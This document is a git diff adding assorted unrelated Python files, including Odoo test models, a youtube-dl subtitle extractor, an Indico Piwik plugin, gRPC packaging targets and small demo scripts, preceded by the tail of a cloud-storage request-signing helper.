bytearray(self.get_stringtosign(), 'utf-8'), + hashlib.sha1 + ).hexdigest() + return signature + + def get_authorization(self): + header_list = self.format_args(self.head, False) + signed_parameter = self.format_args(self.parameters, False, False) + q_time = '%s;%s' % (self.q_sign_time, self.q_key_time) + + t_tuple = (self.SecretID, q_time, q_time, header_list, signed_parameter, self.get_signature()) + authorization = "q-sign-algorithm=sha1&" \ + "q-ak=%s&" \ + "q-sign-time=%s&" \ + "q-key-time=%s&" \ + "q-header-list=%s&" \ + "q-url-param-list=%s&" \ + "q-signature=%s" % t_tuple + return authorization diff --git a/pool/shard008/Python/0077466_models.py b/pool/shard008/Python/0077466_models.py new file mode 100644 index 0000000000000000000000000000000000000000..173935a89850f830927b9cae4764b950188d3411 --- /dev/null +++ b/pool/shard008/Python/0077466_models.py @@ -0,0 +1,238 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# OpenERP, Open Source Management Solution +# Copyright (C) 2013-2014 OpenERP (). +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## + +import datetime +from openerp.exceptions import AccessError + +############################################################################## +# +# OLD API +# +############################################################################## +from openerp.osv import osv, fields + + +class res_partner(osv.Model): + _inherit = 'res.partner' + + # + # add related fields to test them + # + _columns = { + # a regular one + 'related_company_partner_id': fields.related( + 'company_id', 'partner_id', type='many2one', obj='res.partner'), + # a related field with a single field + 'single_related_company_id': fields.related( + 'company_id', type='many2one', obj='res.company'), + # a related field with a single field that is also a related field! + 'related_related_company_id': fields.related( + 'single_related_company_id', type='many2one', obj='res.company'), + } + + +class TestFunctionCounter(osv.Model): + _name = 'test_old_api.function_counter' + + def _compute_cnt(self, cr, uid, ids, fname, arg, context=None): + res = {} + for cnt in self.browse(cr, uid, ids, context=context): + res[cnt.id] = cnt.access and cnt.cnt + 1 or 0 + return res + + _columns = { + 'access': fields.datetime('Datetime Field'), + 'cnt': fields.function( + _compute_cnt, type='integer', string='Function Field', store=True), + } + + +class TestFunctionNoInfiniteRecursion(osv.Model): + _name = 'test_old_api.function_noinfiniterecursion' + + def _compute_f1(self, cr, uid, ids, fname, arg, context=None): + res = {} + for tf in self.browse(cr, uid, ids, context=context): + res[tf.id] = 'create' in tf.f0 and 'create' or 'write' + cntobj = self.pool['test_old_api.function_counter'] + cnt_id = self.pool['ir.model.data'].xmlid_to_res_id( + cr, uid, 'test_new_api.c1') + cntobj.write( + cr, uid, cnt_id, {'access': datetime.datetime.now()}, + context=context) + return res + + _columns = { + 'f0': fields.char('Char Field'), + 'f1': fields.function( + _compute_f1, type='char', string='Function Field', store=True), + } + +############################################################################## +# +# NEW API +# +############################################################################## +from openerp import models, fields, api, _ + + +class Category(models.Model): + _name = 'test_new_api.category' + + name = fields.Char(required=True) + parent = fields.Many2one('test_new_api.category') + display_name = fields.Char(compute='_compute_display_name', inverse='_inverse_display_name') + discussions = fields.Many2many('test_new_api.discussion', 'test_new_api_discussion_category', + 'category', 'discussion') + + @api.one + @api.depends('name', 'parent.display_name') # this definition is recursive + def _compute_display_name(self): + if self.parent: + self.display_name = self.parent.display_name + ' / ' + self.name + else: + self.display_name = self.name + + @api.one + def _inverse_display_name(self): + names = self.display_name.split('/') + # determine sequence of categories + categories = [] + for name in names[:-1]: + category = self.search([('name', 'ilike', name.strip())]) + categories.append(category[0]) + categories.append(self) + # assign parents following sequence + for parent, child in zip(categories, categories[1:]): + if parent and child: + child.parent = parent + # assign name of last category, and reassign display_name (to normalize it) + self.name = names[-1].strip() + + def read(self, fields=None, load='_classic_read'): + if self.search_count([('id', 'in', self._ids), ('name', '=', 'NOACCESS')]): + raise AccessError('Sorry') + return super(Category, self).read(fields, load) + +class Discussion(models.Model): + _name = 'test_new_api.discussion' + + name = fields.Char(string='Title', required=True, + help="General description of what this discussion is about.") + moderator = fields.Many2one('res.users') + categories = fields.Many2many('test_new_api.category', + 'test_new_api_discussion_category', 'discussion', 'category') + participants = fields.Many2many('res.users') + messages = fields.One2many('test_new_api.message', 'discussion') + message_changes = fields.Integer(string='Message changes') + + @api.onchange('moderator') + def _onchange_moderator(self): + self.participants |= self.moderator + + @api.onchange('messages') + def _onchange_messages(self): + self.message_changes = len(self.messages) + + +class Message(models.Model): + _name = 'test_new_api.message' + + discussion = fields.Many2one('test_new_api.discussion', ondelete='cascade') + body = fields.Text() + author = fields.Many2one('res.users', default=lambda self: self.env.user) + name = fields.Char(string='Title', compute='_compute_name', store=True) + display_name = fields.Char(string='Abstract', compute='_compute_display_name') + size = fields.Integer(compute='_compute_size', search='_search_size') + double_size = fields.Integer(compute='_compute_double_size') + discussion_name = fields.Char(related='discussion.name') + + @api.one + @api.constrains('author', 'discussion') + def _check_author(self): + if self.discussion and self.author not in self.discussion.participants: + raise ValueError(_("Author must be among the discussion participants.")) + + @api.one + @api.depends('author.name', 'discussion.name') + def _compute_name(self): + self.name = "[%s] %s" % (self.discussion.name or '', self.author.name or '') + + @api.one + @api.depends('author.name', 'discussion.name', 'body') + def _compute_display_name(self): + stuff = "[%s] %s: %s" % (self.author.name, self.discussion.name or '', self.body or '') + self.display_name = stuff[:80] + + @api.one + @api.depends('body') + def _compute_size(self): + self.size = len(self.body or '') + + def _search_size(self, operator, value): + if operator not in ('=', '!=', '<', '<=', '>', '>=', 'in', 'not in'): + return [] + # retrieve all the messages that match with a specific SQL query + query = """SELECT id FROM "%s" WHERE char_length("body") %s %%s""" % \ + (self._table, operator) + self.env.cr.execute(query, (value,)) + ids = [t[0] for t in self.env.cr.fetchall()] + return [('id', 'in', ids)] + + @api.one + @api.depends('size') + def _compute_double_size(self): + # This illustrates a subtle situation: self.double_size depends on + # self.size. When size is computed, self.size is assigned, which should + # normally invalidate self.double_size. However, this may not happen + # while self.double_size is being computed: the last statement below + # would fail, because self.double_size would be undefined. + self.double_size = 0 + size = self.size + self.double_size = self.double_size + size + + +class MixedModel(models.Model): + _name = 'test_new_api.mixed' + + number = fields.Float(digits=(10, 2), default=3.14) + date = fields.Date() + now = fields.Datetime(compute='_compute_now') + lang = fields.Selection(string='Language', selection='_get_lang') + reference = fields.Reference(string='Related Document', + selection='_reference_models') + + @api.one + def _compute_now(self): + # this is a non-stored computed field without dependencies + self.now = fields.Datetime.now() + + @api.model + def _get_lang(self): + langs = self.env['res.lang'].search([]) + return [(lang.code, lang.name) for lang in langs] + + @api.model + def _reference_models(self): + models = self.env['ir.model'].search([('state', '!=', 'manual')]) + return [(model.model, model.name) + for model in models + if not model.model.startswith('ir.')] diff --git a/pool/shard008/Python/0077470_Smoke.py b/pool/shard008/Python/0077470_Smoke.py new file mode 100644 index 0000000000000000000000000000000000000000..3a0a47a39870c15a40e35388cbd38d60034b39a9 --- /dev/null +++ b/pool/shard008/Python/0077470_Smoke.py @@ -0,0 +1,55 @@ +#!/bin/env python +import os, tempfile, sys +import shutil +import httplib +from Process import * + +class SmokeTest(object): + def setUp(self): + self.copyFile("../../app/fbuilder/fbuilder", "./fbuilder") + self.copyFile("../../app/fxist4c/fxist4c", "./fxist4c") + self.copyFile("../../app/fproxy/fproxy", "./fproxy") + self.copyFile("../../app/fsearchd/fsearchd", "./fsearchd") + + def tearDown(self): + self.rmFile("./fbuilder") + self.rmFile("./fxist4c") + self.rmFile("./fproxy") + self.rmFile("./fsearchd") + + def run(self): + self.setUp() + process = Process() + ret = process.run("./fbuilder -c ../../conf/fbuilder.xml") + if ret[2]: + print("fbuilder FAILED.") + return False + + ret = process.run("./fxist4c -s ../../examples/data/plain_utf8_index" + " -e query=BODY:2 -l ../../sysdata") + open("output.txt", "a").write(ret[0]) + if ret[2]: + print("fxist4c FAILED.") + return False + + self.tearDown() + return True + + def copyFile(self, src, dst): + if os.path.exists(dst): + os.remove(dst) + shutil.copy(src, dst); + + def rmFile(self, f): + if os.path.exists(f): + os.remove(f) + +if __name__ == '__main__': + print "Running smoke test." + + smokeTest = SmokeTest() + ret = smokeTest.run(); + if ret: + print "Smoke test PASSED." + else : + print "Smoke test FAILED." diff --git a/pool/shard008/Python/0077471_subtitles.py b/pool/shard008/Python/0077471_subtitles.py new file mode 100644 index 0000000000000000000000000000000000000000..59a51268d25ed4b0718c67ae91a5e8f07fcfe42c --- /dev/null +++ b/pool/shard008/Python/0077471_subtitles.py @@ -0,0 +1,99 @@ +from __future__ import unicode_literals +from .common import InfoExtractor + +from ..compat import compat_str +from ..utils import ( + ExtractorError, +) + + +class SubtitlesInfoExtractor(InfoExtractor): + @property + def _have_to_download_any_subtitles(self): + return any([self._downloader.params.get('writesubtitles', False), + self._downloader.params.get('writeautomaticsub')]) + + def _list_available_subtitles(self, video_id, webpage): + """ outputs the available subtitles for the video """ + sub_lang_list = self._get_available_subtitles(video_id, webpage) + auto_captions_list = self._get_available_automatic_caption(video_id, webpage) + sub_lang = ",".join(list(sub_lang_list.keys())) + self.to_screen('%s: Available subtitles for video: %s' % + (video_id, sub_lang)) + auto_lang = ",".join(auto_captions_list.keys()) + self.to_screen('%s: Available automatic captions for video: %s' % + (video_id, auto_lang)) + + def extract_subtitles(self, video_id, webpage): + """ + returns {sub_lang: sub} ,{} if subtitles not found or None if the + subtitles aren't requested. + """ + if not self._have_to_download_any_subtitles: + return None + available_subs_list = {} + if self._downloader.params.get('writeautomaticsub', False): + available_subs_list.update(self._get_available_automatic_caption(video_id, webpage)) + if self._downloader.params.get('writesubtitles', False): + available_subs_list.update(self._get_available_subtitles(video_id, webpage)) + + if not available_subs_list: # error, it didn't get the available subtitles + return {} + if self._downloader.params.get('allsubtitles', False): + sub_lang_list = available_subs_list + else: + if self._downloader.params.get('subtitleslangs', False): + requested_langs = self._downloader.params.get('subtitleslangs') + elif 'en' in available_subs_list: + requested_langs = ['en'] + else: + requested_langs = [list(available_subs_list.keys())[0]] + + sub_lang_list = {} + for sub_lang in requested_langs: + if sub_lang not in available_subs_list: + self._downloader.report_warning('no closed captions found in the specified language "%s"' % sub_lang) + continue + sub_lang_list[sub_lang] = available_subs_list[sub_lang] + + subtitles = {} + for sub_lang, url in sub_lang_list.items(): + subtitle = self._request_subtitle_url(sub_lang, url) + if subtitle: + subtitles[sub_lang] = subtitle + return subtitles + + def _download_subtitle_url(self, sub_lang, url): + return self._download_webpage(url, None, note=False) + + def _request_subtitle_url(self, sub_lang, url): + """ makes the http request for the subtitle """ + try: + sub = self._download_subtitle_url(sub_lang, url) + except ExtractorError as err: + self._downloader.report_warning('unable to download video subtitles for %s: %s' % (sub_lang, compat_str(err))) + return + if not sub: + self._downloader.report_warning('Did not fetch video subtitles') + return + return sub + + def _get_available_subtitles(self, video_id, webpage): + """ + returns {sub_lang: url} or {} if not available + Must be redefined by the subclasses + """ + + # By default, allow implementations to simply pass in the result + assert isinstance(webpage, dict), \ + '_get_available_subtitles not implemented' + return webpage + + def _get_available_automatic_caption(self, video_id, webpage): + """ + returns {sub_lang: url} or {} if not available + Must be redefined by the subclasses that support automatic captions, + otherwise it will return {} + """ + self._downloader.report_warning('Automatic Captions not supported by this server') + return {} diff --git a/pool/shard008/Python/0077474_3.py b/pool/shard008/Python/0077474_3.py new file mode 100644 index 0000000000000000000000000000000000000000..8f851491c16bfe146ece45165d75661db82f98b9 --- /dev/null +++ b/pool/shard008/Python/0077474_3.py @@ -0,0 +1,27 @@ +# -*- coding:utf-8 -*- +from math import sin, pi + +def diff(f, x, h=1E-10): + return (f(x+h) - f(x))/h + +def y(t): + g = 9.81 + return v0*t - 0.5*g*t**2 + +v0 = 3 +dy = diff(y, 1) + +print dy + +v0 = 1; +dy = diff(y, 1) + +print dy + +v0 = 5; +dy = diff(y, 1) + +print dy + + + diff --git a/pool/shard008/Python/0077479_plugin.py b/pool/shard008/Python/0077479_plugin.py new file mode 100644 index 0000000000000000000000000000000000000000..ca3aa2a57a4b0171ed03ee6a586d6aa74ee68f50 --- /dev/null +++ b/pool/shard008/Python/0077479_plugin.py @@ -0,0 +1,122 @@ +# This file is part of the Indico plugins. +# Copyright (C) 2002 - 2021 CERN +# +# The Indico plugins are free software; you can redistribute +# them and/or modify them under the terms of the MIT License; +# see the LICENSE file for more details. + +from urllib.parse import urlparse + +from flask import request, session +from flask_pluginengine import render_plugin_template + +from indico.core import signals +from indico.core.plugins import IndicoPlugin, IndicoPluginBlueprint, plugin_url_rule_to_js, url_for_plugin +from indico.modules.attachments.models.attachments import AttachmentType +from indico.modules.events.contributions import Contribution +from indico.web.menu import SideMenuItem + +from indico_piwik import _ +from indico_piwik.controllers import (RHApiDownloads, RHApiEventGraphCountries, RHApiEventGraphDevices, + RHApiEventVisitsPerDay, RHApiMaterial, RHStatistics) +from indico_piwik.forms import SettingsForm +from indico_piwik.queries.tracking import track_download_request + + +class PiwikPlugin(IndicoPlugin): + """Piwik statistics + + Retrieves piwik statistics for conferences, meetings and contributions. + """ + configurable = True + settings_form = SettingsForm + report_script = 'index.php' + track_script = 'piwik.php' + + default_settings = { + 'enabled': False, + 'enabled_for_events': True, + 'enabled_for_downloads': True, + 'cache_enabled': True, + 'server_url': '//127.0.0.1/piwik/', + 'server_api_url': '//127.0.0.1/piwik/', + 'server_token': '', + 'site_id_general': 1, + 'site_id_events': 2, + 'cache_ttl': 3600, + 'use_only_server_url': True, + } + + def init(self): + super().init() + self.connect(signals.menu.items, self.add_sidemenu_item, sender='event-management-sidemenu') + self.connect(signals.attachments.attachment_accessed, self.track_download) + self.template_hook('html-head', self.inject_tracking) + + def inject_tracking(self, **kwargs): + server_url = self._get_tracking_url() + site_id_general = self.settings.get('site_id_general') + if not self.settings.get('enabled') or not server_url or not site_id_general: + return '' + event_tracking_params = self._get_event_tracking_params() + return render_plugin_template('tracking.html', + site_id_general=site_id_general, + server_url=server_url, + **event_tracking_params) + + def add_sidemenu_item(self, sender, event, **kwargs): + if not event.can_manage(session.user) or not PiwikPlugin.settings.get('site_id_events'): + return + return SideMenuItem('statistics', _("Statistics"), url_for_plugin('piwik.view', event), section='reports') + + def get_blueprints(self): + return blueprint + + def get_vars_js(self): + return {'urls': {'material': plugin_url_rule_to_js('piwik.material'), + 'data_downloads': plugin_url_rule_to_js('piwik.data_downloads'), + 'data_visits': plugin_url_rule_to_js('piwik.data_visits'), + 'graph_countries': plugin_url_rule_to_js('piwik.graph_countries'), + 'graph_devices': plugin_url_rule_to_js('piwik.graph_devices')}} + + def track_download(self, attachment, from_preview, **kwargs): + if from_preview or not self.settings.get('enabled_for_downloads'): + return + if attachment.type == AttachmentType.link: + resource_url = attachment.link_url + resource_title = f'Link - {attachment.title}' + else: + resource_url = request.base_url + resource_title = f'Download - {attachment.title}' + track_download_request.delay(resource_url, resource_title) + + def _get_event_tracking_params(self): + site_id_events = PiwikPlugin.settings.get('site_id_events') + if not self.settings.get('enabled_for_events') or not site_id_events: + return {} + params = {'site_id_events': site_id_events} + if request.blueprint in ('event', 'events', 'contributions') and 'event_id' in request.view_args: + params['event_id'] = request.view_args['event_id'] + contrib_id = request.view_args.get('contrib_id') + if contrib_id is not None and str(contrib_id).isdigit(): + contribution = Contribution.query.filter_by(event_id=params['event_id'], id=contrib_id).first() + if contribution: + cid = (contribution.legacy_mapping.legacy_contribution_id if contribution.legacy_mapping + else contribution.id) + params['contrib_id'] = f'{contribution.event_id}t{cid}' + return params + + def _get_tracking_url(self): + url = self.settings.get('server_url') + url = url if url.endswith('/') else url + '/' + url = urlparse(url) + return url.netloc + url.path + + +blueprint = IndicoPluginBlueprint('piwik', __name__, url_prefix='/event//manage/statistics') +blueprint.add_url_rule('/', 'view', RHStatistics) +blueprint.add_url_rule('/material', 'material', RHApiMaterial, methods=('GET', 'POST')) +blueprint.add_url_rule('/data/downloads', 'data_downloads', RHApiDownloads, methods=('GET', 'POST')) +blueprint.add_url_rule('/data/visits', 'data_visits', RHApiEventVisitsPerDay, methods=('GET', 'POST')) +blueprint.add_url_rule('/graph/countries', 'graph_countries', RHApiEventGraphCountries, methods=('GET', 'POST')) +blueprint.add_url_rule('/graph/devices', 'graph_devices', RHApiEventGraphDevices, methods=('GET', 'POST')) diff --git a/pool/shard008/Python/0077481_getlimits.py b/pool/shard008/Python/0077481_getlimits.py new file mode 100644 index 0000000000000000000000000000000000000000..b57082e2fe56b05bbd2708cd55b2a59903a9be50 --- /dev/null +++ b/pool/shard008/Python/0077481_getlimits.py @@ -0,0 +1,40 @@ +from . import header + +def getlimits(coord='pix'): + """Return current image limits as a list of [xmin,xmax,ymin,ymax,coord] + + coord - coordinates for returned limits. Set to one of: pix, deg, + do, mo, so (degrees/arcminutes/arcseconds offset). Pixels start + at 1.""" + + l = list(header.plt.axis()) # this gets limits in pixel coordinates + wcs = header.updateWcs(None) + if coord == 'pix': + if wcs is None: + return l + [coord] + else: # wcs defined, need to shift from zero-based to one-based + l2 = [a + 1 for a in l] + return l2 + [coord] + elif coord in ('deg','do','mo', 'so'): + if wcs is None: + header.error("getlimits(): No wcs defined!") + ra,dec = wcs.wcs_pix2sky([l[0],l[1],l[0],l[1]],[l[2],l[2],l[3],l[3]],0) + # TODO: should we worry about RA increasing to the left, so that max(ra) + # will be the smallest pixel value? + if coord in ('do', 'mo', 'so'): + crval = wcs.wcs.crval + else: + crval = (0,0) + if coord == 'mo': + fac = 60. + elif coord == 'so': + fac = 3600. + else: + fac = 1. + xmin = fac*(min(ra) - crval[0]) + xmax = fac*(max(ra) - crval[0]) + ymin = fac*(min(dec) - crval[1]) + ymax = fac*(max(dec) - crval[1]) + return [xmin,xmax,ymin,ymax,coord] + else: + header.error("getlimits(): coord must be one of 'pix', 'deg', 'do', 'mo', or 'so'!") diff --git a/pool/shard008/Python/0077483_shared_messages.py b/pool/shard008/Python/0077483_shared_messages.py new file mode 100644 index 0000000000000000000000000000000000000000..991c7b420277656b24f3b0a218c40f4ad0a48fe4 --- /dev/null +++ b/pool/shard008/Python/0077483_shared_messages.py @@ -0,0 +1,60 @@ +# Copyright 2018 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS-IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Shared messages for all APIs.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +from protorpc import messages + + +class SortDirection(messages.Enum): + """SortDirection ProtoRPC message. + + Attributes: + ASCENDING: enum, The direction for sorting results in ascending order. + DESCENDING: enum, The direction for sorting results in descending order. + """ + ASCENDING = 0 + DESCENDING = 1 + + +class SearchExpression(messages.Message): + """SearchExpression ProtoRPC message. + + Attributes: + expression: str, An expression to be evaluated when sorting results for each + matching document such as a search document filed name. + direction: SortDirection, The direction to sort the search results, either + ASCENDING or DESCENDING. + """ + expression = messages.StringField(1, required=True) + direction = messages.EnumField(SortDirection, 2) + + +class SearchRequest(messages.Message): + """SearchRequest ProtoRPC message. + + Attributes: + query_string: str, A query string to conduct a search on an index. + expressions: List[SearchExpression], A list representing a multi-dimensional + sort of Documents. + returned_fields: List[str], A list of basestring as facet name to return + specific facet with the result. + """ + query_string = messages.StringField(1) + expressions = messages.MessageField(SearchExpression, 2, repeated=True) + returned_fields = messages.StringField(3, repeated=True) diff --git a/pool/shard008/Python/0077487_package_targets.py b/pool/shard008/Python/0077487_package_targets.py new file mode 100644 index 0000000000000000000000000000000000000000..0da13864f0ca159df04051954fd77fdd8c20b816 --- /dev/null +++ b/pool/shard008/Python/0077487_package_targets.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python +# Copyright 2016 gRPC authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Definition of targets to build distribution packages.""" + +import os.path +import sys + +sys.path.insert(0, os.path.abspath('..')) +import python_utils.jobset as jobset + + +def create_docker_jobspec(name, dockerfile_dir, shell_command, environ={}, + flake_retries=0, timeout_retries=0): + """Creates jobspec for a task running under docker.""" + environ = environ.copy() + environ['RUN_COMMAND'] = shell_command + + docker_args=[] + for k,v in environ.items(): + docker_args += ['-e', '%s=%s' % (k, v)] + docker_env = {'DOCKERFILE_DIR': dockerfile_dir, + 'DOCKER_RUN_SCRIPT': 'tools/run_tests/dockerize/docker_run.sh', + 'OUTPUT_DIR': 'artifacts'} + jobspec = jobset.JobSpec( + cmdline=['tools/run_tests/dockerize/build_and_run_docker.sh'] + docker_args, + environ=docker_env, + shortname='build_package.%s' % (name), + timeout_seconds=30*60, + flake_retries=flake_retries, + timeout_retries=timeout_retries) + return jobspec + +def create_jobspec(name, cmdline, environ=None, cwd=None, shell=False, + flake_retries=0, timeout_retries=0): + """Creates jobspec.""" + jobspec = jobset.JobSpec( + cmdline=cmdline, + environ=environ, + cwd=cwd, + shortname='build_package.%s' % (name), + timeout_seconds=10*60, + flake_retries=flake_retries, + timeout_retries=timeout_retries, + shell=shell) + return jobspec + + +class CSharpPackage: + """Builds C# nuget packages.""" + + def __init__(self, linux=False): + self.linux = linux + self.labels = ['package', 'csharp'] + if linux: + self.name = 'csharp_package_dotnetcli_linux' + self.labels += ['linux'] + else: + self.name = 'csharp_package_dotnetcli_windows' + self.labels += ['windows'] + + def pre_build_jobspecs(self): + return [] + + def build_jobspec(self): + if self.linux: + return create_docker_jobspec( + self.name, + 'tools/dockerfile/test/csharp_coreclr_x64', + 'src/csharp/build_packages_dotnetcli.sh') + else: + return create_jobspec(self.name, + ['build_packages_dotnetcli.bat'], + cwd='src\\csharp', + shell=True) + + def __str__(self): + return self.name + + +class NodePackage: + """Builds Node NPM package and collects precompiled binaries""" + + def __init__(self): + self.name = 'node_package' + self.labels = ['package', 'node', 'linux'] + + def pre_build_jobspecs(self): + return [] + + def build_jobspec(self): + return create_docker_jobspec( + self.name, + 'tools/dockerfile/grpc_artifact_linux_x64', + 'tools/run_tests/artifacts/build_package_node.sh') + + +class RubyPackage: + """Collects ruby gems created in the artifact phase""" + + def __init__(self): + self.name = 'ruby_package' + self.labels = ['package', 'ruby', 'linux'] + + def pre_build_jobspecs(self): + return [] + + def build_jobspec(self): + return create_docker_jobspec( + self.name, + 'tools/dockerfile/grpc_artifact_linux_x64', + 'tools/run_tests/artifacts/build_package_ruby.sh') + + +class PythonPackage: + """Collects python eggs and wheels created in the artifact phase""" + + def __init__(self): + self.name = 'python_package' + self.labels = ['package', 'python', 'linux'] + + def pre_build_jobspecs(self): + return [] + + def build_jobspec(self): + return create_docker_jobspec( + self.name, + 'tools/dockerfile/grpc_artifact_linux_x64', + 'tools/run_tests/artifacts/build_package_python.sh') + + +class PHPPackage: + """Copy PHP PECL package artifact""" + + def __init__(self): + self.name = 'php_package' + self.labels = ['package', 'php', 'linux'] + + def pre_build_jobspecs(self): + return [] + + def build_jobspec(self): + return create_docker_jobspec( + self.name, + 'tools/dockerfile/grpc_artifact_linux_x64', + 'tools/run_tests/artifacts/build_package_php.sh') + + +def targets(): + """Gets list of supported targets""" + return [CSharpPackage(), + CSharpPackage(linux=True), + NodePackage(), + RubyPackage(), + PythonPackage(), + PHPPackage()] diff --git a/pool/shard008/Python/0077488_pos_details.py b/pool/shard008/Python/0077488_pos_details.py new file mode 100644 index 0000000000000000000000000000000000000000..3f06dc57a46711fac22e6dd0cb3c14fffe20b8c7 --- /dev/null +++ b/pool/shard008/Python/0077488_pos_details.py @@ -0,0 +1,66 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# OpenERP, Open Source Management Solution +# Copyright (C) 2004-2010 Tiny SPRL (). +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## + +import time + +from openerp.osv import osv, fields + +class pos_details(osv.osv_memory): + _name = 'pos.details' + _description = 'Sales Details' + + _columns = { + 'date_start': fields.date('Date Start', required=True), + 'date_end': fields.date('Date End', required=True), + 'user_ids': fields.many2many('res.users', 'pos_details_report_user_rel', 'user_id', 'wizard_id', 'Salespeople'), + } + _defaults = { + 'date_start': lambda *a: time.strftime('%Y-%m-%d'), + 'date_end': lambda *a: time.strftime('%Y-%m-%d'), + } + + def print_report(self, cr, uid, ids, context=None): + """ + To get the date and print the report + @param self: The object pointer. + @param cr: A database cursor + @param uid: ID of the user currently logged in + @param context: A standard dictionary + @return : retrun report + """ + if context is None: + context = {} + datas = {'ids': context.get('active_ids', [])} + res = self.read(cr, uid, ids, ['date_start', 'date_end', 'user_ids'], context=context) + res = res and res[0] or {} + datas['form'] = res + if res.get('id',False): + datas['ids']=[res['id']] + return { + 'type': 'ir.actions.report.xml', + 'report_name': 'pos.details', + 'datas': datas, + } + +pos_details() + +# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: + diff --git a/pool/shard008/Python/0077492_search.py b/pool/shard008/Python/0077492_search.py new file mode 100644 index 0000000000000000000000000000000000000000..c4726b1b186459d54bdf84999db717d412164fb7 --- /dev/null +++ b/pool/shard008/Python/0077492_search.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import asyncio + +try: + from . import api, peony +except (SystemError, ImportError): + import api + from __init__ import peony + +loop = asyncio.get_event_loop() +client = peony.PeonyClient(**api.keys, loop=loop) + + +async def search_test(): + print(await client.api.search.tweets.get(q="@twitter hello :)")) + print(client.headers) + +if __name__ == '__main__': + loop.run_until_complete(search_test()) diff --git a/pool/shard008/Python/0077496_windtest.py b/pool/shard008/Python/0077496_windtest.py new file mode 100644 index 0000000000000000000000000000000000000000..51711ae2a784b0a8566449db6e199070f475d521 --- /dev/null +++ b/pool/shard008/Python/0077496_windtest.py @@ -0,0 +1,18 @@ +from WindPy import w + +import time + +#pf = open('d:\\work\\pywsqdataif.data', 'w') + +def DemoWSQCallback(indata): + if indata.ErrorCode!=0: + print('error code:'+str(indata.ErrorCode)+'\n'); + return(); + + print(indata) + +if __name__ == "__main__": + w.start() + + data=w.wsq("002337.SZ,600433.SH", "rt_time,rt_pre_close,rt_open,rt_high,rt_low,rt_last,rt_vol,rt_pct_chg,rt_swing,rt_vwap", func=DemoWSQCallback) + print(data.Codes) \ No newline at end of file diff --git a/pool/shard008/Python/0077510_models.py b/pool/shard008/Python/0077510_models.py new file mode 100644 index 0000000000000000000000000000000000000000..77f2324b0d8a32a96ac879f3a316bcbb757f42fa --- /dev/null +++ b/pool/shard008/Python/0077510_models.py @@ -0,0 +1,18 @@ +from django.db import models +from django.utils import timezone + +# Create your models here. + + +class EditableMixin(models.Model): + + class Meta: + abstract = True + + created_at = models.DateTimeField(auto_now_add=timezone.now()) + updated_at = models.DateTimeField(auto_now=timezone.now()) + + def has_been_edited(self): + return self.created_at != self.updated_at + + has_been_edited.boolean = True diff --git a/pool/shard008/Python/0077522_ContinuityLineAnalyzer.py b/pool/shard008/Python/0077522_ContinuityLineAnalyzer.py new file mode 100644 index 0000000000000000000000000000000000000000..7030be5e2ba68a919d2bbbc3495643a0dab875b0 --- /dev/null +++ b/pool/shard008/Python/0077522_ContinuityLineAnalyzer.py @@ -0,0 +1,68 @@ +# ICE Revision: $Id$ +"""Check lines for continuity information""" + +import re + +continutityRegExp="^time step continuity errors : sum local = (.+), global = (.+), cumulative = (.+)$" + +# from FileLineAnalyzer import FileLineAnalyzer +# from TimeLineLineAnalyzer import TimeLineLineAnalyzer + +from .GeneralLineAnalyzer import GeneralLineAnalyzer + +class GeneralContinuityLineAnalyzer(GeneralLineAnalyzer): + """Parses line for continuity information""" + + def __init__(self, + doTimelines=True, + doFiles=True, + singleFile=False, + startTime=None, + endTime=None): + GeneralLineAnalyzer.__init__(self, + titles=["Local","Global","Cumulative"], + doTimelines=doTimelines, + doFiles=doFiles, + singleFile=singleFile, + startTime=startTime, + endTime=endTime) + self.exp=re.compile(continutityRegExp) + self.registerRegexp(self.exp) + + def addToFiles(self,match): + self.files.write(self.fName("continuity"),self.parent.getTime(),match.groups()) + + def addToTimelines(self,match): + self.lines.setValue(self.fName("Global"),match.groups()[1]) + self.lines.setValue(self.fName("Cumulative"),match.groups()[2]) + +class ContinuityLineAnalyzer(GeneralContinuityLineAnalyzer): + """Parses line for continuity information""" + + def __init__(self): + GeneralContinuityLineAnalyzer.__init__(self,doTimelines=False) + + +## self.exp=re.compile(continutityRegExp) + +## def doAnalysis(self,line): +## m=self.exp.match(line) +## if m!=None: +## self.files.write("continuity",self.parent.getTime(),m.groups()) + + +class TimeLineContinuityLineAnalyzer(GeneralContinuityLineAnalyzer): + """Parses line for continuity information""" + + def __init__(self): + GeneralContinuityLineAnalyzer.__init__(self,doFiles=False) +## self.exp=re.compile(continutityRegExp) + +## def doAnalysis(self,line): +## m=self.exp.match(line) +## if m!=None: +## # self.lines.setValue("Local",m.groups()[0]) +## 